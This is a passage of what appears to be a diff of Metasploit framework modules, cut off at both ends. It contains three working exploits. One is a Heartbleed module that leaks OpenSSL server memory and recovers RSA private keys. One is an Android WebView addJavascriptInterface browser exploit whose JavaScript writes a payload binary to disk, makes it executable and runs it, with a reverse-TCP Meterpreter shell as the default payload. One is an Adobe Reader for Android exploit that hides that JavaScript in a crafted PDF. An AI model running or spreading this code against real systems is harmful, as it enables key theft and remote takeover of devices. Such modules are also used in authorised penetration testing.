data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
end
# establishes a connect and parses the server response
def establish_connect
connect
unless tls_callback == 'None'
vprint_status("#{peer} - Trying to start SSL via #{tls_callback}")
res = self.send(TLS_CALLBACKS[tls_callback])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil
end
server_resp_parsed = parse_ssl_record(server_hello)
if server_resp_parsed.nil?
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
server_resp_parsed
end
# Generates a heartbeat request
def heartbeat_request(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack('n') # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
# Generates, sends and receives a heartbeat message
def bleed
# This actually performs the heartbleed portion
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5, response_timeout)
if hdr.blank?
sock.put(heartbeat_request(heartbeat_length))
hdr = get_data(5)
if hdr.nil? || hdr.empty?
vprint_error("#{peer} - No Heartbeat response...")
disconnect
return
end
@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary
# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = sock.get_once(len, response_timeout)
res = get_data(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]
msg = "Unknown error"
# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
when 0x46
msg = "Protocol error. Looks like the chosen protocol is not supported."
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
else
msg = 'Unknown error'
end
vprint_error("#{peer} - #{msg}")
disconnect
return
end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response")
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
disconnect
return
end
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
heartbeat_data = get_data(heartbeat_length)
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
disconnect
heartbeat_data
end
# Stores received data
def loot_and_report(heartbeat_data)
unless heartbeat_data
@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary
})
if action.name == 'DUMP' # Check mode, dump if requested.
pattern = datastore['DUMPFILTER']
pattern = dumpfilter
if pattern
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
path = store_loot(
"openssl.heartbleed.server",
"application/octet-stream",
'openssl.heartbleed.server',
'application/octet-stream',
rhost,
match_data,
nil,
"OpenSSL Heartbleed server memory"
'OpenSSL Heartbleed server memory'
)
print_status("#{peer} - Heartbeat data stored in #{path}")
end
@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary
end
def getkeys()
unless datastore['TLS_CALLBACK'] == 'None'
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
return
end
#
# Keydumoing helper methods
#
# Tries to retreive the private key
def getkeys
print_status("#{peer} - Scanning for private keys")
count = 0
@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - e: #{e}")
print_status("#{peer} - #{Time.now.getutc} - Starting.")
datastore['MAX_KEYTRIES'].times {
max_keytries.times {
# Loop up to MAX_KEYTRIES times, looking for keys
if count % datastore['STATUS_EVERY'] == 0
if count % status_every == 0
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
end
p, q = get_factors(bleed, n) # Try to find factors in mem
bleedresult = bleed
return unless bleedresult
p, q = get_factors(bleedresult, n) # Try to find factors in mem
unless p.nil? || q.nil?
key = key_from_pqe(p, q, e)
@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary
print_status(key.export)
path = store_loot(
"openssl.heartbleed.server",
"text/plain",
'openssl.heartbleed.server',
'text/plain',
rhost,
key.export,
nil,
"OpenSSL Heartbleed Private Key"
'OpenSSL Heartbleed Private Key'
)
print_status("#{peer} - Private key stored in #{path}")
return
end
count += 1
}
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
end
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack("n") # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack("n")
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def get_ne()
# Fetch rhost's cert, return public key values
connect(true, {"SSL" => true}) #Force SSL
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
disconnect
unless cert
# Returns the N and E params from the public server certificate
def get_ne
unless @cert
print_error("#{peer} - No certificate found")
return
end
return cert.public_key.params["n"], cert.public_key.params["e"]
return @cert.public_key.params['n'], @cert.public_key.params['e']
end
# Tries to find pieces of the private key in the provided data
def get_factors(data, n)
# Walk through data looking for factors of n
psize = n.num_bits / 8 / 2
@ -523,40 +611,11 @@ class Metasploit3 < Msf::Auxiliary
return p, q
end
end
}
}
return nil, nil
end
def establish_connect
connect
unless datastore['TLS_CALLBACK'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACK']}")
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACK']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
# Generates the private key from the P, Q and E values
def key_from_pqe(p, q, e)
# Returns an RSA Private Key from Factors
key = OpenSSL::PKey::RSA.new()
@ -577,5 +636,170 @@ class Metasploit3 < Msf::Auxiliary
return key
end
end
#
# SSL/TLS packet methods
#
# Creates and returns a new SSL record with the provided data
def ssl_record(type, data)
record = [type, TLS_VERSION[tls_version], data.length].pack('Cnn')
record << data
end
# generates a CLIENT_HELLO ssl/tls packet
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[tls_version]].pack('n') # Version TLS
hello_data << [time_epoch].pack('N') # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack('n') # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack('n*') # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data
hello_data << [hello_data_extensions.length].pack('n')
hello_data << hello_data_extensions
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack('n') # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
# Parse SSL header
def parse_ssl_record(data)
ssl_records = []
remaining_data = data
ssl_record_counter = 0
while remaining_data && remaining_data.length > 0
ssl_record_counter += 1
ssl_unpacked = remaining_data.unpack('CH4n')
return nil if ssl_unpacked.nil? or ssl_unpacked.length < 3
ssl_type = ssl_unpacked[0]
ssl_version = ssl_unpacked[1]
ssl_len = ssl_unpacked[2]
vprint_debug("SSL record ##{ssl_record_counter}:")
vprint_debug("\tType: #{ssl_type}")
vprint_debug("\tVersion: 0x#{ssl_version}")
vprint_debug("\tLength: #{ssl_len}")
if ssl_type != HANDSHAKE_RECORD_TYPE
vprint_debug("\tWrong Record Type! (#{ssl_type})")
else
ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data)
ssl_records << {
:type => ssl_type,
:version => ssl_version,
:length => ssl_len,
:data => handshakes
}
end
remaining_data = remaining_data[(ssl_len + 5)..-1]
end
ssl_records
end
# Parse Handshake data returned from servers
def parse_handshakes(data)
# Can contain multiple handshakes
remaining_data = data
handshakes = []
handshake_count = 0
while remaining_data && remaining_data.length > 0
hs_unpacked = remaining_data.unpack('CCn')
next if hs_unpacked.nil? or hs_unpacked.length < 3
hs_type = hs_unpacked[0]
hs_len_pad = hs_unpacked[1]
hs_len = hs_unpacked[2]
hs_data = remaining_data[4, hs_len]
handshake_count += 1
vprint_debug("\tHandshake ##{handshake_count}:")
vprint_debug("\t\tLength: #{hs_len}")
handshake_parsed = nil
case hs_type
when HANDSHAKE_SERVER_HELLO_TYPE
vprint_debug("\t\tType: Server Hello (#{hs_type})")
handshake_parsed = parse_server_hello(hs_data)
when HANDSHAKE_CERTIFICATE_TYPE
vprint_debug("\t\tType: Certificate Data (#{hs_type})")
handshake_parsed = parse_certificate_data(hs_data)
when HANDSHAKE_KEY_EXCHANGE_TYPE
vprint_debug("\t\tType: Server Key Exchange (#{hs_type})")
# handshake_parsed = parse_server_key_exchange(hs_data)
when HANDSHAKE_SERVER_HELLO_DONE_TYPE
vprint_debug("\t\tType: Server Hello Done (#{hs_type})")
else
vprint_debug("\t\tType: Handshake type #{hs_type} not implemented")
end
handshakes << {
:type => hs_type,
:len => hs_len,
:data => handshake_parsed
}
remaining_data = remaining_data[(hs_len + 4)..-1]
end
handshakes
end
# Parse Server Hello message
def parse_server_hello(data)
version = data.unpack('H4')[0]
vprint_debug("\t\tServer Hello Version: 0x#{version}")
random = data[2,32].unpack('H*')[0]
vprint_debug("\t\tServer Hello random data: #{random}")
session_id_length = data[34,1].unpack('C')[0]
vprint_debug("\t\tServer Hello Session ID length: #{session_id_length}")
session_id = data[35,session_id_length].unpack('H*')[0]
vprint_debug("\t\tServer Hello Session ID: #{session_id}")
# TODO Read the rest of the server hello (respect message length)
# TODO: return hash with data
true
end
# Parse certificate data
def parse_certificate_data(data)
# get certificate data length
unpacked = data.unpack('Cn')
cert_len_padding = unpacked[0]
cert_len = unpacked[1]
vprint_debug("\t\tCertificates length: #{cert_len}")
# contains multiple certs
already_read = 3
cert_counter = 0
while already_read < cert_len
start = already_read
cert_counter += 1
# get single certificate length
single_cert_unpacked = data[start, 3].unpack('Cn')
single_cert_len_padding = single_cert_unpacked[0]
single_cert_len = single_cert_unpacked[1]
vprint_debug("\t\tCertificate ##{cert_counter}:")
vprint_debug("\t\t\tCertificate ##{cert_counter}: Length: #{single_cert_len}")
certificate_data = data[(start + 3), single_cert_len]
cert = OpenSSL::X509::Certificate.new(certificate_data)
# First received certificate is the one from the server
@cert = cert if @cert.nil?
#vprint_debug("Got certificate: #{cert.to_text}")
vprint_debug("\t\t\tCertificate ##{cert_counter}: #{cert.inspect}")
already_read = already_read + single_cert_len + 3
end
# TODO: return hash with data
true
end
end

View File

@ -4,15 +4,16 @@
##
require 'msf/core'
require 'msf/core/exploit/android'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Android
autopwn_info({
:os_flavor => "Android",
:arch => ARCH_ARMLE,
autopwn_info(
:os_flavor => 'Android',
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => %Q|
@ -23,12 +24,12 @@ class Metasploit3 < Msf::Exploit::Remote
} catch(e) {}
}
|
})
)
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
This module exploits a privilege escalation issue in Android < 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
@ -46,75 +47,107 @@ class Metasploit3 < Msf::Exploit::Remote
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
},
'License' => MSF_LICENSE,
'Author' => [
'License' => MSF_LICENSE,
'Author' => [
'jduck', # original msf module
'joev' # static server
],
'References' => [
'References' => [
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
['URL', 'http://50.56.33.56/blog/?p=314'],
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
['CVE', '2012-6636'], # original CVE for addJavascriptInterface
['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
['EDB', '31519'],
['OSVDB', '97520']
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'DefaultOptions' => { 'PrependFork' => true },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_flavor => "Android",
:arch => ARCH_ARMLE
:source => 'script',
:os_flavor => 'Android'
}
))
end
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
# on requests for the static javascript file
def on_request_uri(cli, req)
if req.uri.end_with?('js')
print_status("Serving javascript")
send_response(cli, js, 'Content-type' => 'text/javascript')
if req.uri =~ /\.js/
serve_static_js(cli, req)
else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
print_status("Serving exploit HTML")
send_response_html(cli, html)
arch = normalize_arch(browser[:arch])
print_status "Serving #{arch} exploit..."
send_response_html(cli, html(arch))
end
def js
# Called when a client requests a .js route.
# This is handy for post-XSS.
def serve_static_js(cli, req)
arch = req.qstring['arch']
response_opts = { 'Content-type' => 'text/javascript' }
if arch.present?
print_status("Serving javascript for arch #{normalize_arch arch}")
send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
else
print_status("Serving arch detection javascript")
send_response(cli, static_arch_detect_js, response_opts)
end
end
# This is served to requests for the static .js file.
# Because we have to use javascript to detect arch, we have 3 different
# versions of the static .js file (x86/mips/arm) to choose from. This
# small snippet of js detects the arch and requests the correct file.
def static_arch_detect_js
%Q|
function exec(obj) {
// ensure that the object contains a native interface
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
var arches = {};
arches['#{ARCH_ARMLE}'] = /arm/i;
arches['#{ARCH_MIPSLE}'] = /mips/i;
arches['#{ARCH_X86}'] = /x86/i;
// get the runtime so we can exec
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
// get the process name, which will give us our data path
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
var ch, path = '/data/data/';
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
path += '/#{Rex::Text.rand_text_alpha(8)}';
// build the binary, chmod it, and execute it
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
m.invoke(null, null).exec([path]);
return true;
var arch = null;
for (var name in arches) {
if (navigator.platform.toString().match(arches[name])) {
arch = name;
break;
}
}
for (i in top) { if (exec(top[i]) === true) break; }
if (arch) {
// load the script with the correct arch
var script = document.createElement('script');
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
script.setAttribute('type', 'text/javascript');
// ensure body is parsed and we won't be in an uninitialized state
setTimeout(function(){
var node = document.body \|\| document.head;
node.appendChild(script);
}, 100);
}
|
end
def html
"<!doctype html><html><body><script>#{js}</script></body></html>"
# @return [String] normalized client architecture
def normalize_arch(arch)
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
end
end
def html(arch)
"<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
end
end

View File

@ -0,0 +1,137 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/fileformat'
require 'msf/core/exploit/pdf'
require 'msf/core/exploit/android'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Android
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit',
'Description' => %q{
Adobe Reader versions less than 11.2.0 exposes insecure native
interfaces to untrusted javascript in a PDF. This module embeds the browser
exploit from android/webview_addjavascriptinterface into a PDF to get a
command shell on vulnerable versions of Reader.
},
'License' => MSF_LICENSE,
'Author' => [
'Yorick Koster', # discoverer
'joev' # msf module
],
'References' =>
[
[ 'CVE', '2014-0514' ],
[ 'EDB', '32884' ],
[ 'OSVDB', '105781' ],
],
'Platform' => 'android',
'DefaultOptions' => {
'PAYLOAD' => 'android/meterpreter/reverse_tcp'
},
'Targets' => [
[ 'Android ARM', {
'Platform' => 'android',
'Arch' => ARCH_ARMLE
}
],
[ 'Android MIPSLE', {
'Platform' => 'android',
'Arch' => ARCH_MIPSLE
}
],
[ 'Android X86', {
'Platform' => 'android',
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => 'Apr 13 2014',
'DefaultTarget' => 0
))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
print_status("Generating Javascript exploit...")
js = add_javascript_interface_exploit_js(ARCH_ARMLE)
print_status("Creating PDF...")
file_create(pdf(js))
end
def trailer(root_obj)
id = @xref.keys.max+1
"trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol
end
def add_compressed(n, data)
add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data)))
end
def pdf(js)
self.eol = "\x0d"
@xref = {}
@pdf = header('1.6')
add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9")
add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw")
add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r")
add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo")
add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a")
add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==")
add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6")
add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=")
add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR")
add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD")
add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=")
add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=")
add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==")
add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==")
add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA")
add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=")
add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK")
add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==")
add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==")
add_compressed(29, "eJwBEQHu/g08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDIxNi9OIDE+PnN0cmVhbQ1IiWJgYJzh6OLkyiTAwJCbV1LkHuQYGREZpcB+noGNgZkBDBKTiwscAwJ8QOy8/LxUBgzw7RoDI4i+rAsyC1MeL2BNLigqAdIHgNgoJbU4GUh/AeLM8pICoDhjApAtkpQNZoPUiWSHBDkD2R1ANl9JagVIjME5v6CyKDM9o0TB0NLSUsExJT8pVSG4srgkNbdYwTMvOb+oIL8osSQ1BagWagcI8LsXJVYquCfm5iYqGOkZkehyIgAoLCGszyHgMGIUO48QQ4Dk0qIyKJORyZiBASDAAEnGOC8NZW5kc3RyZWFtDYkear8=")
add_compressed(36, "eJzjjdb3dHZ2SixOTVEwNlAwUAiK5QUANj4E9Q==")
add_compressed(30, "eJwBXAqj9Q08PC9BbHRlcm5hdGUvRGV2aWNlUkdCL0ZpbHRlci9GbGF0ZURlY29kZS9MZW5ndGggMjU3NC9OIDM+PnN0cmVhbQ1IiZyWeVRTdxbHf2/JnpCVsMNjDVuAsAaQNWxhkR0EUQhJCAESQkjYBUFEBRRFRISqlTLWbXRGT0WdLq5jrQ7WferSA/Uw6ug4tBbXjp0XOEedTmem0+8f7/c593fv793fvfed8wCgJ6WqtdUwCwCN1qDPSozFFhUUYqQJAAMNIAIRADJ5rS4tOyEH4JLGS7Ba3An8i55eB5BpvSJMysAw8P+JLdfpDQBAGTgHKJS1cpw7ca6qN+hM9hmceaWVJoZRE+vxBHG2NLFqnr3nfOY52sQNjVaBsylnnUKjMPFpnFfXGZU4I6k4d9WplfU4X8XZpcqoUeP83BSrUcpqAUDpJrtBKS/H2Q9nuj4nS4LzAgDIdNU7XPoOG5QNBtOlJNW6Rr1aVW7A3OUemCg0VIwlKeurlAaDMEMmr5TpFZikWqOTaRsBmL/znDim2mJ4kYNFocHBQn8f0TuF+q+bv1Cm3s7Tk8y5nkH8C29tP+dXPQ2AeBavzfq3ttItAIyvBMDy5luby/sAMPG+Hb74zn34pnkpNxh0Yb6+9fX1Pmql3MdU0Df6nw6/QO+8z8d03JvyYHHKMpmxyoCZ6iavrqo26rFanUyuxIQ/HeJfHfjzeXhnKcuUeqUWj8jDp0ytVeHt1irUBnW1FlNr/1MTf2XYTzQ/17i4Y68Br9gHsC7yAPK3CwDl0gBStA3fgd70LZWSBzLwNd/h3vzczwn691PhPtOjVq2ai5Nk5WByo75ufs/0WQICoAIm4AErYA+cgTsQAn8QAsJBNIgHySAd5IACsBTIQTnQAD2oBy2gHXSBHrAebALDYDsYA7vBfnAQjIOPwQnwR3AefAmugVtgEkyDh2AGPAWvIAgiQQyIC1lBDpAr5AX5Q2IoEoqHUqEsqAAqgVSQFjJCLdANqAfqh4ahHdBu6PfQUegEdA66BH0FTUEPoO+glzAC02EebAe7wb6wGI6BU+AceAmsgmvgJrgTXgcPwaPwPvgwfAI+D1+DJ+GH8CwCEBrCRxwRISJGJEg6UoiUIXqkFelGBpFRZD9yDDmLXEEmkUfIC5SIclEMFaLhaBKai8rRGrQV7UWH0V3oYfQ0egWdQmfQ1wQGwZbgRQgjSAmLCCpCPaGLMEjYSfiIcIZwjTBNeEokEvlEATGEmEQsIFYQm4m9xK3EA8TjxEvEu8RZEolkRfIiRZDSSTKSgdRF2kLaR/qMdJk0TXpOppEdyP7kBHIhWUvuIA+S95A/JV8m3yO/orAorpQwSjpFQWmk9FHGKMcoFynTlFdUNlVAjaDmUCuo7dQh6n7qGept6hMajeZEC6Vl0tS05bQh2u9on9OmaC/oHLonXUIvohvp6+gf0o/Tv6I/YTAYboxoRiHDwFjH2M04xfia8dyMa+ZjJjVTmLWZjZgdNrts9phJYboyY5hLmU3MQeYh5kXmIxaF5caSsGSsVtYI6yjrBmuWzWWL2OlsDbuXvYd9jn2fQ+K4ceI5DU4n5wPOKc5dLsJ15kq4cu4N7hj3DHeaR+QJeFJeBa+H91veBG/GnGMeaJ5n3mA+Yv6J+SQf4bvxpfwqfh//IP86/6WFnUWMhdJijcV+i8sWzyxtLKMtlZbdlgcsr1m+tMKs4q0qrTZYjVvdsUatPa0zreutt1mfsX5kw7MJt5HbdNsctLlpC9t62mbZNtt+YHvBdtbO3i7RTme3xe6U3SN7vn20fYX9gP2n9g8cuA6RDmqHAYfPHP6KmWMxWBU2hJ3GZhxtHZMcjY47HCccXzkJnHKdOpwOON1xpjqLncucB5xPOs+4OLikubS47HW56UpxFbuWu252Pev6zE3glu+2ym3c7b7AUiAVNAn2DW67M9yj3GvcR92vehA9xB6VHls9vvSEPYM8yz1HPC96wV7BXmqvrV6XvAneod5a71HvG0K6MEZYJ9wrnPLh+6T6dPiM+zz2dfEt9N3ge9b3tV+QX5XfmN8tEUeULOoQHRN95+/pL/cf8b8awAhICGgLOBLwbaBXoDJwW+Cfg7hBaUGrgk4G/SM4JFgfvD/4QYhLSEnIeyE3xDxxhrhX/HkoITQ2tC3049AXYcFhhrCDYX8PF4ZXhu8Jv79AsEC5YGzB3QinCFnEjojJSCyyJPL9yMkoxyhZ1GjUN9HO0YrondH3YjxiKmL2xTyO9YvVx34U+0wSJlkmOR6H